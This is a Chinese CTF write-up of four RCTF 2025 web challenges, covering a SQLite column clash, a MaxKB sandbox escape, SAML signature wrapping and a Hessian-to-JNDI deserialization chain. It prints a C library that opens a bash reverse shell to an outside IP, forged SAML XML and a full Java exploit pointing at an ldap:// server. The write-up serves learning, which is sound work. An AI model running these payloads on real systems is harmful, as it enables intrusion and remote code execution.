【Web】RCTF 2025 wp(随便看看

随便看看

目录

photographer

RootKB

Auth

maybe_easy


photographer

看到要求Auth::type()小于0才能拿到flag

而$user['type']是从findById里取出来的

findById是个左联查询,返回的不只是user的信息,还有photo的信息

题目用的是SQLITE3_ASSOC模式,也就是返回以列名索引的数组

这里有个前置知识

而user和photo均有type字段

photo的type字段是从mime-type里取的

先随便注册个用户

访问/compose路由上传背景图片

Content-Type改为-1

设置背景图片

再访问superadmin.php拿到flag

RootKB

题目是最新版的

https://github.com/1Panel-dev/MaxKB/tree/v2

创建工具处可以在线运行python代码

但有些限制

2.3.1版本tool_code.py多了个LD_PRELOAD

可以尝试去覆盖/opt/maxkb-app/sandbox/sandbox.so

只要 LD_PRELOAD 设置了该 .so,init() 就会在程序启动时自动调用。

#include <stdlib.h> #include <string.h> #include <unistd.h> void payload() { unsetenv("LD_PRELOAD"); system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\""); } __attribute__((constructor)) void init() { if (getenv("LD_PRELOAD") != NULL) { payload(); } }
gcc -shared -fPIC -o Z3.so Z3.c

然后覆写

def payload(): import base64 import os base64data="xxxx" data = base64.b64decode(base64data) with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f: f.write(data) return 1

再随便运行个代码

def payload(): print(1)

成功反弹shell

Auth

SSO(Single Sign-On,单点登录)是一种身份验证机制,允许用户使用一组凭据(如用户名和密码)登录一次后,即可访问多个相互信任的应用系统或服务,而无需在每个系统中重复登录。

当用户首次登录时,由一个统一的认证服务器(称为身份提供者,Identity Provider,简称 IdP)验证用户身份,并生成一个安全令牌(如 SAML 断言、OAuth 2.0 Token 或 OpenID Connect ID Token)。之后,用户访问其他受信任的应用(称为服务提供者,Service Provider,SP)时,这些应用会通过该令牌确认用户身份,从而免去再次输入账号密码的过程。

用的是SAML认证

先来看怎么拿flag

sp部分

当session中的email字段为[email protected]才会获得flag

该字段从SAML里解析得来

再来看idp部分

可以用js的parseInt特性绕过对type为0的限制

先注册

正常是只能注册一个regular user,普通用户

将type设为随便一个字符串

成功绕过,拿到一个fullaccess的用户

访问flag路由后返回了samlForm 

存在email字段

接收方是/saml/acs

接下来修改post的SAMLResponse

<?xml version="1.0" encoding="UTF-8"?><samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z" Destination="http://192.168.233.1:26000/saml/acs"><saml:Issuer>http://192.168.233.1</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z"><saml:Issuer>http://192.168.233.1</saml:Issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><Reference URI="#_934f82968d8e7a26eda0272da9f92ade6175dfc5cd"><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>PPAY1fr+00rDryalemULp6kfp9hzzNUH47Q+w+zjueE=</DigestValue></Reference></SignedInfo><SignatureValue>CZBCZNRGdqwwNTruJ4wRd6J9zf1gRuXaHdR6AKPqxxiIjpGvg1Zc5qaPA3xA1fZYSXAgoL2pAplgTmVJDQzAPT9zbksOUPfWy74QiFbGFegLF0RP/AUrlUl1QamJ084yGxht2a2TAvWA71FTn2xqQ7kORtA9BjXbwJblg9PxP2AJzRRRFx121NGu7mGEiCjVd4qF/QgMSlQzy8sdNE1MhYFAhKq+qAbFQuf1c7xw3/dbVFY39x8VD8LiXCe0rr5s46+cwxXyMVbfhZLqYV3aa+m/hXtUMe0tGMyNdaRZmdeQp4020OBTzgCkXvky30cdS1z4caC+lXoL4IXhtM1+4w==</SignatureValue></Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">[email protected]</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2025-11-20T11:18:40.594Z" Recipient="http://192.168.233.1:26000/saml/acs"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2025-11-20T11:13:40.594Z" NotOnOrAfter="2025-11-20T11:18:40.594Z"><saml:AudienceRestriction><saml:Audience>http://192.168.233.1:26000/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2025-11-20T11:13:40.594Z" SessionIndex="_9e36eb0434011848bc9c34ae86d090eac238fe1c1a"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>2</saml:AttributeValue></saml:Attribute><saml:Attribute Name="username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>Z3r4y</saml:AttributeValue></saml:Attribute><saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>[email protected]</saml:AttributeValue></saml:Attribute><saml:Attribute Name="displayName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute><saml:Attribute Name="department" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>

初始为

<samlp:Response>

  <saml:Issuer>...</saml:Issuer>

  <samlp:Status>...</samlp:Status>

  <saml:Assertion> <!-- 原始(带签名) -->

    ...<Signature>...</Signature>...

  </saml:Assertion>

</samlp:Response>

修改后应为

<samlp:Response>

  <saml:Assertion> <!-- 【新插入:伪造、无签名、[email protected]】 -->

    ...(无 Signature)...

  </saml:Assertion>

  <saml:Issuer>...</saml:Issuer>

  <samlp:Status>...</samlp:Status>

  <saml:Assertion> <!-- 原始(保留,仍带有效签名) -->

    ...<Signature>...</Signature>...

  </saml:Assertion>

</samlp:Response>

改了之后发个包就行

import requests # 目标 ACS 地址 acs_url = "http://192.168.233.1:26000/saml/acs" # SAMLResponse 值(Base64 编码的 XML) saml_response = "xxx" # 构造表单数据 data = { "SAMLResponse": saml_response } # 发送 POST 请求 try: response = requests.post(acs_url, data=data) print(f"[+] 状态码: {response.status_code}") print(f"[+] 响应头: {response.headers}") print(f"[+] 响应体预览:\n{response.text[:500]}...") # 打印前500字符 except requests.exceptions.RequestException as e: print(f"[-] 请求失败: {e}")

maybe_easy

一个白名单Hessian反序列化,感觉一眼最后要打JNDI的

参考这个文章

【Web】浅聊Hessian反序列化之打Spring AOP——JNDI

最终应该是调org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()

再往下看

题目自定义了一个Maybe类,重写了compareTo方法

调用handler的invoke方法

之前写过两篇文章

【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识

【Web】浅聊XStream反序列化之SortedSet&TreeMap利用链

Hessian作为入口其实触发的就是map.put,map.put会触发TreeMap.compareTo,因为白名单的限制,不能用上面文章里的java.beans.EventHandler

找其他白名单里的handler利用

找到ObjectFactoryDelegatingInvocationHandler

参考文章:

【Web】浅聊Java反序列化之Spring1链——三层动态代理

 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); if (methodName.equals("equals")) { return proxy == args[0]; } else if (methodName.equals("hashCode")) { return System.identityHashCode(proxy); } else if (methodName.equals("toString")) { return this.objectFactory.toString(); } else { try { return method.invoke(this.objectFactory.getObject(), args); } catch (InvocationTargetException var6) { throw var6.getTargetException(); } } } }

走到objectFactory.getObject()

白名单里全局搜一下getObject()

搜到ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory.getObject()

调用getBean

再回过头来看

org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()可以被其getBean方法触发

成功走通链子

最终payload:

package com.rctf.server.exp; import com.rctf.server.tool.HessianFactory; import com.rctf.server.tool.Maybe; import org.springframework.jndi.support.SimpleJndiBeanFactory; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.ObjectFactory; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.util.TreeMap; public class exp { public static void main(String[] args) throws Exception { String jndiUrl = "ldap://8.138.38.81:1339/suibian"; // 创建 SimpleJndiBeanFactory 并设置 JNDI URL SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory(); beanFactory.setShareableResources(jndiUrl); // 构造 TargetBeanObjectFactory Class<?> tboFactoryClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory"); Constructor<?> tboFactoryConstructor = tboFactoryClass.getDeclaredConstructor(BeanFactory.class, String.class); tboFactoryConstructor.setAccessible(true); ObjectFactory<?> objectFactory = (ObjectFactory<?>) tboFactoryConstructor.newInstance(beanFactory, jndiUrl); // 构造 ObjectFactoryDelegatingInvocationHandler Class<?> ofdihClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> ofdihConstructor = ofdihClass.getDeclaredConstructor(ObjectFactory.class); ofdihConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) ofdihConstructor.newInstance(objectFactory); Maybe maybe = new Maybe(handler); TreeMap treeMap = makeTreeMap(maybe, maybe); String serialize = HessianFactory.serialize(treeMap); System.out.println(serialize); HessianFactory.deserialize(serialize); } public static TreeMap makeTreeMap(Object v1, Object v2) throws Exception { TreeMap<Object,Object> m = new TreeMap<>(); setFieldValue(m, "size", 2); setFieldValue(m, "modCount", 2); Class<?> nodeC = Class.forName("java.util.TreeMap$Entry"); Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object node = nodeCons.newInstance(v1, new Object[0], null); Object right = nodeCons.newInstance(v2, new Object[0], node); setFieldValue(node, "right", right); setFieldValue(m, "root", node); return m; } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } }

Read more

Stable Diffusion + kohya_ss 的安装教程

Stable Diffusion + kohya_ss 的安装教程

工具简介 * Stable Diffusion (SD): 开源的文本到图像生成模型,支持通过提示词生成高质量图像,内置自动标注功能(如BLIP、DeepBooru等)。 * kohya_ss (KS): 基于SD的轻量级微调工具,支持LoRA、DreamBooth等训练方法,优化显存占用与训练效率。 一.SD的安装 对于SD大家可以通过github链接来下载 https://git-scm.com/ Automatic 1111:https://github.com/AUTOMATIC1111 这里提供的链接,下载的SD是最基础的,如果大家想要让他有其他的扩展功能就需要下载相关的插件(后面会写一个关于下载插件的教程请大家持续关注)。 1.准备 Conda 环境 1.1 创建并激活 Conda 环境 # 创建名为 sd-webui 的环境(Python 3.10 推荐,需匹配仓库要求) conda

大模型本地部署神器:llama.cpp使用介绍

大模型本地部署神器:llama.cpp使用介绍

介绍llama.cpp 本节主要介绍什么是llama.cpp,以及llama.cpp、llama、ollama的区别。同时说明一下GGUF这种模型文件格式。 什么是llama.cpp llama.cpp是一个由Georgi Gerganov开发的高性能C++库,主要目标是在各种硬件上(本地和云端)以最少的设置和最先进的性能实现大型语言模型推理。 主要特点: * 纯C/C++实现,没有任何依赖 * 对Apple Silicon(如M1/M2/M3芯片)提供一流支持 - 通过ARM NEON、Accelerate和Metal框架优化 * 支持x86架构的AVX、AVX2、AVX512和AMX指令集 * 支持1.5位、2位、3位、4位、5位、6位和8位整数量化,实现更快的推理和更低的内存使用 * 为NVIDIA GPU提供自定义CUDA内核(通过HIP支持AMD GPU,通过MUSA支持摩尔线程MTT GPU)

【Model】【llm38】Llama API - 示例

【Model】【llm38】Llama API - 示例

案例目标 Llama API是一个托管的Llama 2 API服务,支持函数调用功能。本案例展示了如何通过LlamaIndex集成Llama API,实现基本的文本补全、对话交互、函数调用和结构化数据提取功能。Llama API为开发者提供了一个便捷的方式来使用Llama 2模型,无需本地部署,可以直接通过API调用模型服务,大大简化了使用流程。同时,该API支持函数调用功能,使得模型能够与外部工具和服务进行交互,扩展了应用场景。 环境配置 1. 安装依赖 安装必要的依赖包: %pip install llama-index-program-openai %pip install llama-index-llms-llama-api !pip install llama-index 2. 获取API密钥 要运行此示例,您需要从Llama API官网获取API密钥。 3. 导入库并设置API密钥 导入必要的库并设置API密钥: from llama_index.llms.llama_api import LlamaAPI

Microi吾码:从零到服装ERP:低代码打造企业级系统的实战之旅

Microi吾码:从零到服装ERP:低代码打造企业级系统的实战之旅

个人主页:chian-ocean 文章专栏 从零到服装ERP:吾码平台打造企业级系统的实战之旅 关键词:吾码平台、低代码、服装ERP、多表关系、自动化、开发实例 引言 在传统的服装行业管理中,ERP系统已成为提高效率、降低成本、优化资源分配的核心工具。然而,开发一个功能全面、覆盖采购、库存、销售、财务等模块的ERP系统,往往需要投入大量时间和人力资源。在吾码低代码平台的支持下,1人仅用1个月便完成了包含100+表的企业级服装ERP系统。本文将从项目概述、开发细节到关键代码段详细剖析整个开发过程,展示低代码技术的强大能力。 第一部分:项目概览 1.1 项目背景 * 项目需求: * 支持采购、库存、销售、客户管理、财务报表等多个模块。 * 包括100+数据表,涵盖复杂的业务逻辑与数据关联。 * 需实现流程自动化(如采购审批、库存提醒)。 * 开发目标: * 快速完成开发,并保证系统稳定性与扩展性。